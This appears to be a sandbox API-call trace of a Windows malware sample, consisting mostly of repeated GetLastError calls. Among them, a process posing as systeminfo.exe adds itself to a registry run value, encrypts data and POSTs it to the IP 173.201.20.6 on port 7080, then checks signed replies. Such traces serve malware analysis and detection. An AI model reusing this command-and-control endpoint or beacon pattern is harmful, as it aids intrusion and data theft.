GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.578] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.578] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.579] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.580] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.581] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.582] GetLastError () returned 0x0 [0080.583] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0080.583] GetCurrentProcessId () returned 0x81c [0080.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0080.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0080.584] GetCurrentProcessId () returned 0x81c [0080.584] lstrlenA (lpString="just string") returned 11 [0080.584] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0080.584] GetLastError () returned 0x0 [0080.584] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0080.584] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db6a8, Final=1, dwFlags=0x0, pbData=0x40cc58, pdwDataLen=0x2f1fcfc | out: pbData=0x40cc58, pdwDataLen=0x2f1fcfc) returned 1 [0080.584] CryptVerifySignatureW (hHash=0x3db6a8, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0080.584] CryptDestroyHash (hHash=0x3db6a8) returned 1 [0080.584] GetLastError () returned 0x0 [0080.590] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0080.590] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0080.590] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0080.590] RegSetValueExW (in: hKey=0x3b4, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0080.590] RegCloseKey (hKey=0x3b4) returned 0x0 [0080.590] GetLastError () returned 0x0 [0080.990] GetTickCount () returned 0x2341a [0080.990] GetCurrentProcessId () returned 0x81c [0080.991] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0080.991] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0080.991] GetCurrentProcessId () returned 0x81c [0080.991] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a8 [0080.992] lstrlenA (lpString="just string") returned 11 [0080.992] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0080.992] Process32FirstW (in: hSnapshot=0x3a8, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.993] GetLastError () returned 0x0 [0080.993] GetCurrentProcessId () returned 0x81c [0080.993] GetCurrentProcessId () returned 0x81c [0081.007] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0081.007] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db6a8, Final=1, dwFlags=0x0, pbData=0x33b9754*, pdwDataLen=0x2f1fc24*=0x244, dwBufLen=0x250 | out: pbData=0x33b9754*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0081.007] GetCurrentProcessId () returned 0x81c [0081.007] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0081.007] GetCurrentProcessId () returned 0x81c [0081.007] CryptGetHashParam (in: hHash=0x3db6a8, dwParam=0x2, pbData=0x33b9740, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b9740, pdwDataLen=0x2f1fc20) returned 1 [0081.007] CryptDestroyHash (hHash=0x3db6a8) returned 1 [0081.007] GetCurrentProcessId () returned 0x81c [0081.007] lstrlenA (lpString="just string") returned 11 [0081.007] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0081.007] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0081.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0081.007] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.007] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.007] GetLastError () returned 0x0 [0081.007] GetCurrentProcess () returned 0xffffffff [0081.007] GetLastError () returned 0x0 [0081.007] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="754F6DP") returned 7 [0081.007] SetLastError (dwErrCode=0x0) [0081.007] GetCurrentProcessId () returned 0x81c [0081.007] GetLastError () returned 0x0 [0081.008] wsprintfA (in: param_1=0x2f1fb83, param_2="%X%P" | out: param_1="754F6EP") returned 7 [0081.008] SetLastError (dwErrCode=0x0) [0081.008] GetCurrentProcessId () returned 0x81c [0081.008] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0081.009] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b96e0*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b96e0*) returned 1 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.570] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.571] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.572] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.573] GetLastError () returned 0x0 [0081.575] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0081.575] GetLastError () returned 0x0 [0081.576] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0081.576] GetCurrentProcessId () returned 0x81c [0081.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0081.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0081.576] GetCurrentProcessId () returned 0x81c [0081.576] GetCurrentProcessId () returned 0x81c [0081.576] lstrlenA (lpString="just string") returned 11 [0081.576] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0081.576] GetLastError () returned 0x0 [0081.576] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0081.576] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db8e8, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0081.576] CryptVerifySignatureW (hHash=0x3db8e8, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0081.576] CryptDestroyHash (hHash=0x3db8e8) returned 1 [0081.576] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.576] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0081.576] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.577] RegSetValueExW (in: hKey=0x3a8, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0081.577] RegCloseKey (hKey=0x3a8) returned 0x0 [0081.577] GetCurrentProcess () returned 0xffffffff [0081.577] GetLastError () returned 0x0 [0081.577] wsprintfA (in: param_1=0x2f1fa6f, param_2="%X%P" | out: param_1="7584E7P") returned 7 [0081.577] SetLastError 